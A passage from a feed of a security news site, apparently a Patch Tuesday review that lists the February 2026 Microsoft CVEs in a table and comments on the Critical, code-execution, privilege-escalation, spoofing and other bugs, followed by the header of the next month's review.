  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
